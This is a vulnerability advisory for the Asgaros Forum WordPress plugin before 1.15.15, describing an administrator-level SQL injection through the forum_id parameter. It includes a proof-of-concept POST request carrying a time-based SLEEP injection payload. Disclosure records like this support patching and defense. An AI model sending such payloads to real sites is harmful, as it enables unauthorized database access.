WordPress Plugin Vulnerabilities

Asgaros Forum < 1.15.15 - Admin+ SQL Injection via forum_id

Description

The plugin does not validate or escape the forum_id parameter before using it in a SQL statement when editing a forum, leading to an SQL injection issue

Proof of Concept

POST /wp-admin/admin.php?page=asgarosforum-structure HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 289
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

_wpnonce=bc051820af&forum_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)&forum_category=79&forum_parent_forum=0&forum_name=First+Forum&forum_description=My+first+forum.&forum_parent=79_0&forum_icon=fas+fa-comments&forum_status=normal&forum_order=1&af-create-edit-forum-submit=Save

Affects Plugins

Fixed in 1.15.15

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Trang LKB
Submitter
Channchan
Verified
Yes

Timeline

Publicly Published
2021-12-21 (about 2 years ago)
Added
2021-12-21 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)

Other